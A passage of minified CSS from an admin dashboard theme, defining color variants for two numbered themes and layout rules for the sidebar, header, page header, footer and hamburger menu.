.btn-outline-primary { --bs-btn-color: #48494B; --bs-btn-border-color: #48494B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #48494B; --bs-btn-hover-border-color: #48494B; --bs-btn-focus-shadow-rgb: 72, 73, 75; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #48494B; --bs-btn-active-border-color: #48494B; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #48494B; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #48494B; --bs-gradient: none; } body.theme-9 .btn-light-primary { background: #dadbdb; color: #48494B; border-color: #dadbdb; } body.theme-9 .btn-light-primary:hover { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-light-primary.focus, body.theme-9 .btn-light-primary:focus { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-9 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-9 .btn-light-primary.dropdown-toggle { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-check:active + .btn-light-primary, body.theme-9 .btn-check:checked + .btn-light-primary { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .alert-primary { --bs-alert-color: #2b2c2d; --bs-alert-bg: #dadbdb; --bs-alert-border-color: #c8c8c9; } body.theme-9 .alert-primary .alert-link { color: #222324; } body.theme-9 .badge.bg-light-primary { background: #dadbdb; color: #48494B; border-color: #dadbdb; } body.theme-9 .page-item.active .page-link { background: #48494B; border-color: #48494B; } body.theme-9 .nav-link { color: #48494B; } body.theme-9 .nav-link:hover, body.theme-9 .nav-link:focus { color: #48494B; } body.theme-9 .nav-tabs .nav-link { background: none; } body.theme-9 .nav-pills .nav-link { background: none; } body.theme-9 .nav-pills .nav-link:focus, body.theme-9 .nav-pills .nav-link.active, body.theme-9 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; } body.theme-9 .form-check-input:focus, body.theme-9 .form-select:focus, body.theme-9 .form-control:focus, body.theme-9 .custom-select:focus, body.theme-9 .dataTable-selector:focus, body.theme-9 .dataTable-input:focus { border-color: #48494B; box-shadow: 0 0 0 0.2rem rgba(72, 73, 75, 0.25); } body.theme-9 .form-check-input:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-range::-webkit-slider-thumb { background: #48494B; } body.theme-9 .form-range::-webkit-slider-thumb:active { background: #48494B; } body.theme-9 .form-range::-moz-range-thumb { background: #48494B; } body.theme-9 .form-range::-moz-range-thumb:active { background: #48494B; } body.theme-9 .form-check-input:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-check-input[type="checkbox"]:indeterminate { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-check .form-check-input.input-primary:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 pre[class*="language-"] > code { border-left-color: #48494B; background-image: linear-gradient(transparent 50%, rgba(72, 73, 75, 0.04) 50%); } body.theme-9 .card .card-header h5:after, body.theme-9 .card .card-header .h5:after, body.theme-9 .card .card-header .h5:after { background: #48494B; } body.theme-10 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-10 .bg-primary { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785 !important; } body.theme-10 .dash-header .drp-language .drp-text, body.theme-10 .dash-header .dash-head-link > i:not(.nocolor) { color: #0C7785; } body.theme-10 .dash-header .drp-company .theme-avtar { background: #cee4e7; color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; color: #fff; box-shadow: 0 5px 7px -1px rgba(12, 119, 133, 0.3); } body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #0C7785; } body.theme-10 a:not([class]) { color: #0C7785; } body.theme-10 a:not([class]):hover { color: #0C7785; } body.theme-10 .text-primary { color: #0C7785 !important; } body.theme-10 .list-group-item.active { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785 !important; } body.theme-10 .progress-bar:not([class*="bg-"]), body.theme-10 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #0C7785; --bs-btn-border-color: #0C7785; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0a6571; --bs-btn-hover-border-color: #0a5f6a; --bs-btn-focus-shadow-rgb: 48, 139, 151; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0a5f6a; --bs-btn-active-border-color: #095964; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #0C7785; --bs-btn-disabled-border-color: #0C7785; } body.theme-10 .btn-outline-primary { --bs-btn-color: #0C7785; --bs-btn-border-color: #0C7785; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0C7785; --bs-btn-hover-border-color: #0C7785; --bs-btn-focus-shadow-rgb: 12, 119, 133; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0C7785; --bs-btn-active-border-color: #0C7785; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #0C7785; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #0C7785; --bs-gradient: none; } body.theme-10 .btn-light-primary { background: #cee4e7; color: #0C7785; border-color: #cee4e7; } body.theme-10 .btn-light-primary:hover { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-light-primary.focus, body.theme-10 .btn-light-primary:focus { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-10 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-10 .btn-light-primary.dropdown-toggle { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-check:active + .btn-light-primary, body.theme-10 .btn-check:checked + .btn-light-primary { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .alert-primary { --bs-alert-color: #074750; --bs-alert-bg: #cee4e7; --bs-alert-border-color: #b6d6da; } body.theme-10 .alert-primary .alert-link { color: #063940; } body.theme-10 .badge.bg-light-primary { background: #cee4e7; color: #0C7785; border-color: #cee4e7; } body.theme-10 .page-item.active .page-link { background: #0C7785; border-color: #0C7785; } body.theme-10 .nav-link { color: #0C7785; } body.theme-10 .nav-link:hover, body.theme-10 .nav-link:focus { color: #0C7785; } body.theme-10 .nav-tabs .nav-link { background: none; } body.theme-10 .nav-pills .nav-link { background: none; } body.theme-10 .nav-pills .nav-link:focus, body.theme-10 .nav-pills .nav-link.active, body.theme-10 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; } body.theme-10 .form-check-input:focus, body.theme-10 .form-select:focus, body.theme-10 .form-control:focus, body.theme-10 .custom-select:focus, body.theme-10 .dataTable-selector:focus, body.theme-10 .dataTable-input:focus { border-color: #0C7785; box-shadow: 0 0 0 0.2rem rgba(12, 119, 133, 0.25); } body.theme-10 .form-check-input:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-range::-webkit-slider-thumb { background: #0C7785; } body.theme-10 .form-range::-webkit-slider-thumb:active { background: #0C7785; } body.theme-10 .form-range::-moz-range-thumb { background: #0C7785; } body.theme-10 .form-range::-moz-range-thumb:active { background: #0C7785; } body.theme-10 .form-check-input:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-check-input[type="checkbox"]:indeterminate { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-check .form-check-input.input-primary:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 pre[class*="language-"] > code { border-left-color: #0C7785; background-image: linear-gradient(transparent 50%, rgba(12, 119, 133, 0.04) 50%); } body.theme-10 .card .card-header h5:after, body.theme-10 .card .card-header .h5:after, body.theme-10 .card .card-header .h5:after { background: #0C7785; } .dash-sidebar { background: #292A33; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); width: 255px; position: fixed; top: 0; bottom: 0; z-index: 1026; } @media (min-width: 1024px) { .dash-sidebar.light-sidebar.transprent-bg { background: transparent; box-shadow: none; } .dash-sidebar.light-sidebar.transprent-bg .navbar-content { height: calc(100vh - 70px); } .dash-sidebar.light-sidebar:not(.transprent-bg) { top: 20px; bottom: 20px; left: 20px; border-radius: 20px; box-shadow: -2.61824px 26px 49px rgba(182, 186, 203, 0.3); } .dash-sidebar.light-sidebar:not(.transprent-bg) .navbar-content { height: calc(100vh - 110px); } } .dash-sidebar ul { list-style: none; padding-left: 0; margin-bottom: 0; } .dash-sidebar .dash-caption { color: #525b69; display: block; padding: 20px 20px 8px; letter-spacing: 0.07em; text-transform: uppercase; font-size: 11px; font-weight: 700; } .dash-sidebar .dash-caption label { margin-bottom: 0; } .dash-sidebar .dash-caption span:not(.badge) { display: block; color: #67758a; font-size: 10px; font-weight: 500; text-transform: capitalize; } .dash-sidebar .dash-micon { margin-right: 15px; border-radius: 12px; height: 35px; width: 35px; display: inline-flex; align-items: center; justify-content: center; vertical-align: middle; } .dash-sidebar .dash-micon i { font-size: 18px; color: #778290; } .dash-sidebar .dash-micon i.material-icons-two-tone { background-color: #778290; font-size: 20px; display: inline-block; } .dash-sidebar .dash-micon > svg { width: 18px; height: 18px; color: #778290; fill: rgba(114, 103, 239, 0.2); } .dash-sidebar .dash-link { display: block; padding: 13px 20px; color: #fff; position: relative; font-size: 13px; font-weight: 600; } .dash-sidebar .dash-link .dash-mtext::after { content: ""; position: absolute; left: 0; top: 0; right: 0; bottom: 0; } .dash-sidebar .dash-link:active, .dash-sidebar .dash-link:focus, .dash-sidebar .dash-link:hover { text-decoration: none; color: #51459d; } .dash-sidebar .dash-link:active .dash-micon i, .dash-sidebar .dash-link:active .dash-micon svg, .dash-sidebar .dash-link:focus .dash-micon i, .dash-sidebar .dash-link:focus .dash-micon svg, .dash-sidebar .dash-link:hover .dash-micon i, .dash-sidebar .dash-link:hover .dash-micon svg { color: #51459d; } .dash-sidebar .dash-arrow { float: right; display: inline-block; transition: all 0.2s ease-in-out; } .dash-sidebar .dash-arrow > svg { width: 16px; height: 16px; } .dash-sidebar .dash-badge { margin-left: 8px; } .dash-sidebar .m-header { height: 70px; display: flex; align-items: center; padding: 15px 20px; } .dash-sidebar .m-header .logo-sm { display: none; } .dash-sidebar .navbar-content { position: relative; padding: 10px 0; } .dash-sidebar .navbar-content .card { margin: 40px 20px 70px; position: relative; } .dash-sidebar .navbar-content .card .img-sidebar-card { margin: 20px 0 -65px; width: 100%; } .dash-sidebar .dash-submenu .dash-link { font-weight: 500; padding: 10px 30px 10px 65px; } .dash-sidebar .dash-submenu .dash-submenu .dash-link { padding: 10px 30px 10px 85px; } .dash-sidebar .dash-submenu .dash-submenu .dash-submenu .dash-link { padding: 10px 30px 10px 105px; } .dash-sidebar .dash-item.disabled a { cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .dash-sidebar .dash-item.active > .dash-link, .dash-sidebar .dash-item:focus > .dash-link, .dash-sidebar .dash-item:hover > .dash-link { color: #fff; } .dash-sidebar .dash-item.active > .dash-link .dash-micon i.material-icons-two-tone, .dash-sidebar .dash-item:focus > .dash-link .dash-micon i.material-icons-two-tone, .dash-sidebar .dash-item:hover > .dash-link .dash-micon i.material-icons-two-tone { background-color: #fff; } .dash-sidebar .dash-item.active > .dash-link .dash-micon i, .dash-sidebar .dash-item.active > .dash-link .dash-micon svg, .dash-sidebar .dash-item:focus > .dash-link .dash-micon i, .dash-sidebar .dash-item:focus > .dash-link .dash-micon svg, .dash-sidebar .dash-item:hover > .dash-link .dash-micon i, .dash-sidebar .dash-item:hover > .dash-link .dash-micon svg { color: #fff; } .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link { font-weight: 700; color: #51459d; } .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link .dash-micon svg, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link .dash-micon svg, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link .dash-micon svg { color: #51459d; } .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: #161c25; } .dash-sidebar .dash-hasmenu.dash-trigger > .dash-submenu { display: block; } .dash-sidebar .dash-hasmenu.dash-trigger > .dash-link > .dash-arrow { transform: rotate(90deg); } body:not(.minimenu) .dash-sidebar .dash-link { margin: 7px 0; } body:not(.minimenu) .dash-sidebar .dash-submenu { position: relative; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item { position: relative; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item:before { content: ""; position: absolute; left: 40px; top: 16px; width: 8px; height: 8px; border: 2px solid #fff; border-right-color: #51459d; border-radius: 50%; z-index: 1; transform: rotate(45deg); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); color: #778290; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item.active:before { transform: rotate(230deg); } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item:hover:before { transform: rotate(230deg); } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-submenu > .dash-item:before { left: 60px; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-submenu .dash-submenu > .dash-item:before { left: 80px; } .dash-menu-overlay { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 1; background: rgba(0, 0, 0, 0.2); } .minimenu .dash-sidebar { width: 70px; } .minimenu .dash-sidebar .dash-hasmenu.dash-trigger:not(:hover) > .dash-submenu, .minimenu .dash-sidebar .dash-hasmenu:not(:hover) > .dash-submenu { display: none; } .minimenu .dash-sidebar .m-header { padding: 15px 17px; } .minimenu .dash-sidebar .m-header .logo-sm { display: block; } .minimenu .dash-sidebar .m-header .logo-lg { display: none; } .minimenu .dash-sidebar .dash-badge, .minimenu .dash-sidebar .dash-caption, .minimenu .dash-sidebar .dash-mtext, .minimenu .dash-sidebar .dash-navbar > li > a > .dash-arrow { display: none; } .minimenu .dash-sidebar .navbar-content.ps { overflow: visible !important; } .minimenu .dash-sidebar .navbar-content.ps > .ps__rail-X, .minimenu .dash-sidebar .navbar-content.ps > .ps__rail-y { display: none; } .minimenu .dash-sidebar .dash-link { padding: 20px 25px; } .minimenu .dash-sidebar .dash-submenu { background: #292A33; position: absolute; left: 100%; padding: 8px 0; } .minimenu .dash-sidebar .dash-submenu .dash-link { padding: 8px 30px; } .minimenu .dash-sidebar .dash-item { position: relative; } .minimenu .dash-sidebar .dash-item:hover > .dash-link { width: calc(200px + 70px); background: #161c25; color: #51459d; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-micon { margin-right: 40px; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-micon i { color: #fff; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-mtext { display: inline-block; } .minimenu .dash-sidebar .dash-item:hover > .dash-submenu { display: block; width: 200px; } .minimenu .dash-sidebar .dash-item .dash-item:hover > .dash-link { width: 200px; background: #292A33; } .minimenu .dash-sidebar .dash-item .dash-item:hover > .dash-submenu { top: 0; } @media (min-width: 1025px) { .navbar-overlay .dash-sidebar.dash-over-menu-active .navbar-wrapper { position: relative; z-index: 5; } .navbar-overlay .dash-sidebar:not(.dash-over-menu-active) { left: -255px; box-shadow: none; } } @media (max-width: 1024px) { .dash-sidebar { left: -255px; box-shadow: none; transition: all 0.15s ease-in-out; } .dash-sidebar.mob-sidebar-active { left: 0; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); } .dash-sidebar.mob-sidebar-active .navbar-wrapper { position: relative; z-index: 5; background: inherit; } .minimenu .dash-container { margin-left: 0; } } .dash-header { background: #fff; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); color: #525b69; min-height: 70px; position: absolute; left: 255px; right: 0; z-index: 1025; } @media (min-width: 1024px) { .dash-header.transprent-bg { background: transparent; box-shadow: none; } .dash-header:not(.transprent-bg) { top: 20px; left: calc(255px + 40px); right: 30px; border-radius: 20px; box-shadow: -2.61824px 26px 49px rgba(182, 186, 203, 0.3); } .dash-header:not(.transprent-bg) .header-wrapper { padding: 0 12px; } .dash-header:not(.transprent-bg):not(.dash-mob-header) ~ .dash-container { margin-left: calc(255px + 15px); } .dash-header:not(.transprent-bg):not(.dash-mob-header) ~ .dash-container .dash-content { padding-top: 50px; } } .dash-header .burger-menu { position: relative; width: 15px; height: 15px; } .dash-header .burger-menu > span { height: 2px; border-radius: 2px; width: 10px; position: absolute; right: 0; top: calc(50% - 1px); background: #808191; } .dash-header .burger-menu > span:first-child { width: 15px; top: 0; } .dash-header .burger-menu > span:last-child { width: 5px; top: auto; bottom: 0; } .dash-header .header-search { box-shadow: none; border-radius: 8px; padding: 4px 8px; background: #22242c; } .dash-header .header-search .btn-head-search { display: inline-flex; align-items: center; justify-content: center; box-shadow: -3px 4px 23px rgba(0, 0, 0, 0.08); border-radius: 8px; width: 30px; height: 30px; padding: 15px 16px; } .dash-header .header-search .btn-head-search i { font-size: 22px; } .dash-header ul { margin-bottom: 0; display: inline-flex; } .dash-header .header-wrapper { display: flex; padding: 0 30px; } .dash-header .dash-h-item { min-height: 70px; display: flex; align-items: center; position: relative; } .dash-header .dash-head-link { color: #525b69; display: inline-flex; align-items: center; padding: 0.6rem 0.7rem; margin: 0 7.5px; border-radius: 4px; position: relative; font-weight: 500; border-radius: 12px; border: 1px solid rgba(206, 206, 206, 0); } @media (min-width: 1024px) { .dash-header .dash-head-link { background: #fff; } } .dash-header .dash-head-link > i { font-size: 20px; color: #51459d; } .dash-header .dash-head-link > i.material-icons-two-tone { font-size: 24px; background-color: #525b69; } .dash-header .dash-head-link > svg { width: 20px; height: 20px; } .dash-header .dash-head-link.active, .dash-header .dash-head-link:active, .dash-header .dash-head-link:focus, .dash-header .dash-head-link:hover { text-decoration: none; color: #51459d; background: rgba(108, 117, 125, 0.05); } .dash-header .dash-head-link.active .hamburger .hamburger-inner, .dash-header .dash-head-link:active .hamburger .hamburger-inner, .dash-header .dash-head-link:focus .hamburger .hamburger-inner, .dash-header .dash-head-link:hover .hamburger .hamburger-inner { background-color: #51459d; } .dash-header .dash-head-link.active .hamburger .hamburger-inner::after, .dash-header .dash-head-link.active .hamburger .hamburger-inner::before, .dash-header .dash-head-link:active .hamburger .hamburger-inner::after, .dash-header .dash-head-link:active .hamburger .hamburger-inner::before, .dash-header .dash-head-link:focus .hamburger .hamburger-inner::after, .dash-header .dash-head-link:focus .hamburger .hamburger-inner::before, .dash-header .dash-head-link:hover .hamburger .hamburger-inner::after, .dash-header .dash-head-link:hover .hamburger .hamburger-inner::before { background-color: #51459d; } .dash-header .dash-head-link.active i.material-icons-two-tone, .dash-header .dash-head-link:active i.material-icons-two-tone, .dash-header .dash-head-link:focus i.material-icons-two-tone, .dash-header .dash-head-link:hover i.material-icons-two-tone { background-color: #51459d; } .dash-header .dash-head-link .dash-h-badge { position: absolute; top: 3px; right: 10px; border-radius: 50%; font-size: 9px; } .dash-header .dash-head-link .dash-h-badge.dots { width: 8px; height: 8px; top: 10px; right: 12px; padding: 0; border: 2px solid #fff; } .dash-header .dash-head-link .user-desc, .dash-header .dash-head-link .user-name { display: block; line-height: 1; } .dash-header .dash-head-link .user-name { margin-bottom: 5px; font-size: 15px; font-weight: 600; } .dash-header .dash-head-link .user-desc { font-size: 12px; font-weight: 400; color: rgba(82, 91, 105, 0.7); } .dash-header .dash-head-link .drp-arrow { color: #525b69; font-size: 14px; margin-left: 5px; opacity: 0.8; } .dash-header .dash-head-link .theme-avtar { border-radius: 12px; font-size: 16px; width: 34px; height: 34px; background: #dcdaeb; color: #51459d; } .dash-header .drp-language i { color: #CECECE33; } .dash-header .drp-language .drp-text { color: #51459d; margin-left: 8px; } .dash-header .drp-company .dash-head-link { padding: 5px; } .dash-header .drp-notification .theme-avtar { border-radius: 12px; } .dash-header .drp-notification .dropdown-menu { min-width: 450px; } .dash-header .drp-notification .noti-header, .dash-header .drp-notification .noti-footer, .dash-header .drp-notification .noti-body { padding: 10px 20px; } .dash-header .drp-notification .noti-header { display: flex; align-items: center; justify-content: space-between; } .dash-header .drp-notification .noti-body { position: relative; max-height: calc(100vh - 300px); } .dash-header .dash-h-dropdown { transform: none !important; top: 100% !important; } .dash-header .dash-h-dropdown .fa-circle { font-size: 5px; vertical-align: middle; } .dash-header .dash-h-dropdown.dropdown-menu-end { right: 0 !important; left: auto !important; } .dash-header .dash-level-menu { position: relative; } .dash-header .dash-level-menu:hover > .dropdown-menu { display: block; left: 100%; top: -18px !important; } .dash-header .dash-mega-menu { position: static; } .dash-header .dash-mega-menu .dash-mega-dmenu { transform: none !important; left: 0 !important; right: 0 !important; top: 100% !important; padding: 0; } .dash-header .dash-mega-menu .dash-mega-dmenu .row.g-0 .col { padding: 15px 0; border-right: 1px dashed #3E3F4A; } .dash-header .dash-mega-menu .dash-mega-dmenu .mega-title { margin: 10px 25px; position: relative; } .dash-header .dash-mega-menu .dash-mega-dmenu .dash-mega-list { display: block; list-style: none; padding-left: 0; } .dash-header .drp-search { min-width: 20rem; } .dash-header #vertical-nav-toggle { margin-left: -15px; } .dash-header .user-avtar { width: 30px; margin-right: 10px; border-radius: 50%; } .minimenu .dash-header { left: 70px; } .dash-mob-header { display: none; background: #161c25; height: 70px; align-items: center; justify-content: space-between; position: fixed; z-index: 1026; left: 0; right: 0; padding: 0 10px 0 30px; } .dash-mob-header .hamburger-inner, .dash-mob-header .hamburger-inner::after, .dash-mob-header .hamburger-inner::before { background: #fff; } .dash-mob-header .dash-head-link, .dash-mob-header a { color: #fff; } .notification-modal.modal.fade .modal-dialog { max-width: 310px; transform: translate(100%, 0); } .notification-modal.modal.show .modal-dialog { transform: none; } .notification-modal { padding-right: 0 !important; } .notification-modal .modal-dialog { margin: 0 0 0 auto; } .notification-modal .modal-content { min-height: 100vh; border: none; border-radius: 0; box-shadow: -1px 0 9px -3px rgba(0, 0, 0, 0.6); } @media (min-width: 1024px) { .dash-header .dash-h-item.mob-hamburger { display: none; } } @media (max-width: 767px) { .dash-header .dash-h-item .hide-mob { display: none; } } @media (max-width: 1024px) { .mob-hamburger { display: none; } .dash-mob-header { display: flex; } .dash-header { top: 0; left: 0; transition: all 0.15s ease-in-out; } .dash-header .header-wrapper { padding: 0 15px; } .dash-header .user-avtar { margin-right: 0; } .dash-header .user-avtar ~ span { display: none; } .dash-header .dash-head-link .user-desc, .dash-header .dash-head-link .user-name { display: none; } .dash-header .dash-head-link#mobile-collapse { position: relative; } .dash-header .pcm-logo { margin-left: 30px; } .dash-header .pcm-logo img { max-width: 160px; } .dash-header.mob-header-active { top: 70px; } .dash-header.mob-header-active .header-wrapper { background: #fff; position: relative; z-index: 5; } .dash-header .dash-md-overlay { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 1; background: rgba(0, 0, 0, 0.2); } .dash-header .dash-level-menu .dropdown-menu { left: 0; display: block; padding-left: 30px; } .dash-header .dash-mega-menu .dash-mega-dmenu .row.g-0 > .col { flex: 100%; } .minimenu .dash-header { left: 0; } } #dash-noti-home > .media:hover { margin: -15px; padding: 15px; background: rgba(81, 69, 157, 0.1); } @media (max-width: 575.98px) { .dash-header .dash-head-link { padding: 0.65rem; margin: 0 5px; } .dash-header .dash-h-item { position: static; } .dash-header .drp-notification .dash-h-dropdown { min-width: 100%; left: 0 !important; right: 0 !important; } } .dash-container { position: relative; top: 70px; margin-left: 255px; min-height: calc(100vh - 70px); } .dash-container .dash-content { padding-left: 30px; padding-right: 30px; padding-top: 30px; } .dash-container .page-header + .row { padding-top: 25px; } .dash-container .page-header + .dash-content { padding-top: 30px; } .minimenu .dash-container { margin-left: 70px; } .minimenu .page-header { left: 70px; } .page-header { display: flex; align-items: center; } .page-header .page-block { width: 100%; } .page-header .page-header-title { display: block; } .page-header h4, .page-header .h4 { margin-bottom: 0; margin-right: 8px; padding-right: 8px; font-weight: 500; } .page-header .breadcrumb { padding: 0; display: inline-flex; margin-bottom: 0; background: transparent; font-size: 13px; } .page-header .breadcrumb a { color: #808191; } .page-header .breadcrumb .breadcrumb-item a:hover { color: #51459d; } .page-header .breadcrumb .breadcrumb-item + .breadcrumb-item::before { position: relative; top: 2px; } .page-header .breadcrumb .breadcrumb-item:last-child { opacity: 0.75; } .page-header .breadcrumb svg { width: 14px; height: 14px; vertical-align: baseline; } .upgrade-card .card-body { padding-bottom: 100px; z-index: 1; position: relative; } .upgrade-card > .container { z-index: 5; position: relative; margin-top: -60px; } .upgrade-card .up-price-table td { border-color: #22242c; } .upgrade-card .up-price-table th { border: none; } .upgrade-card .up-price-table th + th { border-radius: 5px 5px 0 0; padding: 20px 0; } .upgrade-card .up-price-table tbody tr:first-child td { border-top: none; } .upgrade-card .up-price-table td, .upgrade-card .up-price-table th { text-align: right; } .upgrade-card .up-price-table td + td, .upgrade-card .up-price-table td + th, .upgrade-card .up-price-table th + td, .upgrade-card .up-price-table th + th { text-align: center; } .upgrade-card .up-price-table td + td, .upgrade-card .up-price-table th + td { border-left: 1px solid #22242c; } .dash-footer { position: relative; margin-left: 255px; width: calc(100% - 255px); padding: 10px 30px; top: 70px; margin-bottom: 70px; right: 0; bottom: 0; } .dash-footer .footer-wrapper { display: flex; flex-wrap: wrap; justify-content: space-between; text-align: center; } @media (max-width: 1024px) { .dash-footer { width: 100%; margin-left: 0; } } @media (max-width: 768px) { .dash-footer { text-align: center; } .dash-footer .footer-wrapper { display: block; } } .hamburger { display: inline-block; cursor: pointer; transition: filter 0.15s linear; width: 20px; height: 20px; } .hamburger.is-active .hamburger-inner { background-color: #000; } .hamburger.is-active .hamburger-inner::after, .hamburger.is-active .hamburger-inner::before { background-color: #000; } .hamburger-inner { display: block; top: 50%; margin-top: -2px; width: 18px; height: 2px; background-color: #525b69; border-radius: 4px; position: absolute; transition: transform 0.15s ease; } .hamburger-inner::after, .hamburger-inner::before { width: 18px; height: 2px; background-color: #525b69; border-radius: 4px; position: absolute; transition: transform 0.15s ease; } .hamburger-inner::after, .hamburger-inner::before { content: ""; display: block; } .hamburger-inner::before { top: -6px; } .hamburger-inner::after { bottom: -6px; } .hamburger--arrowturn.is-active .hamburger-inner { transform: rotate(-180deg); } .hamburger--arrowturn.is-active .hamburger-inner::before { transform: translate3d(4px, 2px, 0) rotate(45deg) scale(0.7, 1); } .hamburger--arrowturn.is-active .hamburger-inner::after { transform: translate3d(4px, -2px, 0) rotate(-45deg) scale(0.7, 1); } @media (max-width: 1024px) { .dash-container { margin-left: 0; } .dash-container .page-header + .row, .dash-container .page-header + .dash-content, .dash-container .dash-content { padding-top: 30px; } .page-header { position: relative; left: 0; top: 0; } .minimenu .page-header { left: 0; } .minimenu .dash-container { margin-left: 0; } } @media (max-width: 575.98px) { .dash-container .dash-content { padding: 20px; } .dash-container .container { padding-left: 0; padding-right: 0; } .page-header { padding: 13px 20px; } .page-header h5, .page-header .h5 { padding-bottom: 5px; margin-bottom: 0; border-right: none; 